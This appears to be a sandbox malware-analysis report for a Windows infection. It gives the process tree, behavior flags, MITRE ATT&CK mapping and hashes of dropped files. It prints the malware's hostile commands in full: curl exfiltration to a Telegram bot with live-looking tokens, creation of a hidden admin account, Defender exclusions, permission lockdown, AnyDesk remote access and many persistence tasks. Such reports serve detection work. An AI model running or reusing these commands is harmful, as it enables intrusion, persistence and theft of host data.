- Suspicious use of AdjustPrivilegeToken
PID:3568

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="ANY_TMKNGOMU'id:'"0"'ip:'"154.61.71.13"" "https://api.telegram.org/bot"5513453963:AAEqmVGigjirKuykDiL7YHcdVrBQ72q07Ss"/sendMessage"
2⤵
- Executes dropped EXE
PID:4144

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
2⤵
PID:5872

C:\Windows\SysWOW64\net.exe
net user oldadministrator "Pass32552" /add
2⤵
PID:364

C:\Windows\SysWOW64\net.exe
net localgroup администраторы oldadministrator /add
2⤵
PID:5896

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f
2⤵
PID:4248

C:\Windows\SysWOW64\net.exe
net localgroup administrateurs oldadministrator /add
2⤵
- Executes dropped EXE
PID:3996

C:\Windows\SysWOW64\net.exe
net localgroup administratoren oldadministrator /add
2⤵
PID:5892

C:\Windows\SysWOW64\net.exe
net localgroup administradores oldadministrator /add
2⤵
PID:4704

C:\Windows\SysWOW64\net.exe
net localgroup Administrators oldadministrator /ADD
2⤵
PID:4256

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
1⤵
- Delays execution with timeout.exe
PID:628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskSc
1⤵
PID:4724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AnyDesk
1⤵
PID:1592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskScs
1⤵
PID:4504

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" dir "C:\ProgramData\Microsoft\Windows Defender" "
2⤵
PID:5488

C:\Windows\SysWOW64\findstr.exe
findstr /i "Platform"
2⤵
PID:5552

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath c:\windows\migration\ , c:\users\kbtgt\desktop\ , C:\Windows\tasks\ , C:\Windows\ , C:\Windows\Logs\ , C:\Windows\SysWOW64\ , C:\Windows\System32\WindowsPowerShell\v1.0\ , C:\ProgramData\
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5888

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
2⤵
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684

C:\Windows\SysWOW64\takeown.exe
takeown /f c:\windows\tasks
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4748

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
2⤵
PID:5552

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5596

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2900

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5940

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:260

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1764

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5588

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:3548

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5932

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5692

\??\c:\programdata\migrate.exe
c:\programdata\migrate.exe -p4432
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Windows directory
PID:4008

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows\tasks\run.bat" "
3⤵
PID:5088

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:444

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic.exe" install WMService IntelConfigService.exe
4⤵
- Executes dropped EXE
PID:4448

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 2 /NOBREAK
4⤵
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4196

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic" start WMService
4⤵
- Executes dropped EXE
PID:5672

C:\Windows\SysWOW64\net.exe
net start WMService
4⤵
PID:5508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start WMService
5⤵
PID:5640

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:6040

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 60 /NOBREAK
2⤵
- Delays execution with timeout.exe
PID:4640

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:292

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
2⤵
PID:5628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC CPU Get Name /Value|FindStr .
2⤵
PID:2772

C:\Windows\SysWOW64\findstr.exe
FindStr .
3⤵
PID:5756

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC CPU Get Name /Value
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC /Node:localhost Path Win32_VideoController Get Name /Value| FIND.EXE "="
2⤵
PID:4820

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC /Node:localhost Path Win32_VideoController Get Name /Value
3⤵
PID:2832

C:\Windows\SysWOW64\find.exe
FIND.EXE "="
3⤵
PID:4264

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
2⤵
- Enumerates processes with tasklist
PID:5308

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
2⤵
PID:5396

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="TMKNGOMUCORE2Intel Core Processor (Broadwell)Microsoft Basic Display AdapterSERVICE WMService RUN" "https://api.telegram.org/bot"5086556714:AAF7DbEW7CWKb1GEIy6_inxVlrGJ39JUUBM"/sendMessage"
2⤵
- Executes dropped EXE
PID:2364

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Mail\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Mail\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDeskA" /sc MINUTE /mo 14 /tr "'C:\odt\AnyDesk.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDesk" /sc ONLOGON /tr "'C:\odt\AnyDesk.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDeskA" /sc MINUTE /mo 12 /tr "'C:\odt\AnyDesk.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Defender\ja-JP\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\ja-JP\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Defender\ja-JP\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDeskA" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Portable Devices\AnyDesk.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDesk" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\AnyDesk.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2124

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\odt\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\odt\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\odt\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2944

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default User\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\odt\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\odt\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Mail\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 11 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:60

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\odt\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4252

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1592

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Portable Devices\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\All Users\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 9 /tr "'C:\odt\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AnyDeskA" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Portable Devices\AnyDesk.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:664

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --get-id
1⤵
- Executes dropped EXE
PID:5208

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
1⤵
PID:4552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
1⤵
- Delays execution with timeout.exe
PID:1956

C:\windows\tasks\IntelConfigService.exe
"IntelConfigService.exe"
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
PID:3188

C:\Windows\Tasks\MSTask.exe
C:\Windows\Tasks\MSTask.exe
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5376

C:\Windows\TEMP\~Mp497C.tmp\~Ma4650.exe
"C:\Windows\TEMP\~Mp497C.tmp\~Ma4650.exe" /p"C:\Windows\Tasks\MSTask.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5300

C:\Windows\Tasks\Superfetch.exe
C:\Windows\Tasks\Superfetch.exe
2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:2380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
2⤵
PID:824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
2⤵
PID:5004

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "%username%:(R,REA,RA,RD)"
2⤵
PID:3992

C:\Windows\Tasks\Wrap.exe
C:\Windows\Tasks\Wrap.exe
2⤵
- Executes dropped EXE
PID:944

C:\Windows\SysWOW64\find.exe
find /n /v ""
1⤵
PID:1424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user oldadministrator "Pass32552" /add
1⤵
PID:1464

C:\windows\tasks\Wmiic.exe
C:\windows\tasks\Wmiic.exe
1⤵
- Executes dropped EXE
PID:5144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators oldadministrator /ADD
1⤵
PID:1868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup администраторы oldadministrator /add
1⤵
PID:2696

C:\Windows\Tasks\ApplicationsFrameHost.exe
C:\Windows\Tasks\ApplicationsFrameHost.exe --daemonized
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administratoren oldadministrator /add
1⤵
PID:3824

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "TMKNGOMU$:(R,REA,RA,RD)"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6112

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5996

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6044

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Windows\Tasks\ApplicationsFrameHost.exe" --daemonized
1⤵
PID:4560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Winlogon Helper DLL

T1004

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
f33dd83b24bc52f150c95e041c430465

SHA1
8f256ee6995588604a4eb22a18ce9c06a02a44ab

SHA256
6d3146f6ceb72f2487b3f53965915a0f544470d13fca3bfec22c661a28a29bc5

SHA512
9015fe762427408c4344b6d09a888f141503207a7198efcb8c7bd054a9496843cd1a61dd654c82c337ba4834c4ff29bf6b1c36f0ceda9a5e6cb041d3c49bb1ae

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
5e0db726665eeaaa809bc5f89fcc48e9

SHA1
9f72f78916c7933d2927fb5ead100224c74cb63a

SHA256
bc6a820db0d0aad143457ecd07a9773d87bb0c774a222f310e3f6dff09865d21

SHA512
c3eab9b9bf38d121bd32db4a2e733f9aa486a059f7caca1619df57bea7744ed69e5af24d1c0caed3263623c7aab1ce4c7d887557748b77cd58973759ee2e1e01

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
370B

MD5
afdc4f69f4720b8c4153f6186f49a2b6

SHA1
329c27ea36d7913809b0c239bb58e91d2ee468ac

SHA256
9a218849d74b0ca75ef719b0cab59b40529b958097eb0b0b8527b09bc293a571

SHA512
3a8a6e1994a681a12875b820eb7ca78b6c035a1489c4d8648590424dbec3152e6831ac0c4a73560968231c9b45db869dad189109fb1ecb4a3159258e0099a7de

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
f98021f8855b23251c9f7ad799c7f1cc

SHA1
25dc330f1e9d4be55e14d40f1dc20fcd1fd1762e

SHA256
b2d6ce9098276f09481ecceeb72d8c86a27ab49d1ff135f13c5a07d6504f864c

SHA512
0d8d5478b4cee4e3e3c18a592662068953b7fd5b9e8218b02f3e6506af1faa218269d47bb8148a39d2aa7391d91c722d84a475c9a128274a366f81874d705f69

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
f98021f8855b23251c9f7ad799c7f1cc

SHA1
